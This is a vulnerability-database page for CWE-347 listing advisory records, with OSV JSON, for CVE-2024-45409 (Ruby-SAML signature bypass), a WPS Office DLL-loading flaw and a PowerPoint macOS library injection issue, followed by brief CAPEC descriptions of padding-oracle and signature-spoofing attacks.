SAML authentication bypass via Incorrect XPath selector
Details

Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response. An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.

This vulnerability was reported by ahacker1 of SecureSAML (ahacker1@securesaml.com)

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
9.9 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "ruby-saml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "ruby-saml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45409"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-10T19:42:03Z",
    "nvd_published_at": "2024-09-10T19:15:22Z",
    "severity": "CRITICAL"
  },
  "details": "Ruby-SAML in \u003c= 12.2 and 1.13.0 \u003c= 1.16.0 does not properly verify the signature of the SAML Response. An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.\n\nThis vulnerability was reported by ahacker1 of SecureSAML (ahacker1@securesaml.com)",
  "id": "GHSA-jw9c-mfg7-9rx2",
  "modified": "2026-06-08T23:17:17Z",
  "published": "2024-09-10T19:42:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45409"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SAML-Toolkits/ruby-saml/commit/1ec5392bc506fe43a02dbb66b68741051c5ffeae"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SAML-Toolkits/ruby-saml/commit/4865d030cae9705ee5cdb12415c654c634093ae7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omniauth/omniauth-saml/commit/4274e9d57e65f2dcaae4aa3b2accf831494f2ddd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SAML-Toolkits/ruby-saml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/omniauth-saml/CVE-2024-45409.yml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/omniauth-saml/GHSA-cvp8-5r8g-fhvq.yml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/ruby-saml/CVE-2024-45409.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SAML authentication bypass via Incorrect XPath selector"
}

GHSA-JXRQ-H53G-X3QX

Vulnerability from github – Published: 2025-03-04 18:33 – Updated: 2025-03-04 18:33
VLAI
Details

Improper verification of the digital signature in ksojscore.dll in Kingsoft WPS Office in versions equal or less than 12.1.0.18276

on Windows allows an attacker to load an arbitrary Windows library. The patch released in version 12.2.0.16909 to mitigate CVE-2024-7262 was not restrictive enough.

Severity
9.3 (Critical)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-11957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-04T16:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "Improper verification of the digital signature in ksojscore.dll in Kingsoft WPS Office in versions equal or less than 12.1.0.18276\n\n on Windows allows an attacker to load an arbitrary Windows library. The patch released in version 12.2.0.16909 to mitigate CVE-2024-7262 was not restrictive enough.",
  "id": "GHSA-jxrq-h53g-x3qx",
  "modified": "2025-03-04T18:33:43Z",
  "published": "2025-03-04T18:33:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11957"
    },
    {
      "type": "WEB",
      "url": "https://www.welivesecurity.com/en/eset-research/analysis-of-two-arbitrary-code-execution-vulnerabilities-affecting-wps-office"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M3FQ-VVXH-C7RF

Vulnerability from github – Published: 2024-12-19 00:37 – Updated: 2024-12-19 00:37
VLAI
Details

A library injection vulnerability exists in Microsoft PowerPoint 16.83 for macOS. A specially crafted library can leverage PowerPoint's access privileges, leading to a permission bypass. A malicious application could inject a library and start the program to trigger this vulnerability and then make use of the vulnerable application's permissions.

Severity
7.1 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-39804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-18T23:15:07Z",
    "severity": "HIGH"
  },
  "details": "A library injection vulnerability exists in Microsoft PowerPoint 16.83 for macOS. A specially crafted library can leverage PowerPoint\u0027s access privileges, leading to a permission bypass. A malicious application could inject a library and start the program to trigger this vulnerability and then make use of the vulnerable application\u0027s permissions.",
  "id": "GHSA-m3fq-vvxh-c7rf",
  "modified": "2024-12-19T00:37:35Z",
  "published": "2024-12-19T00:37:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39804"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2024-1974"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-1974"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

← Back to the CWE list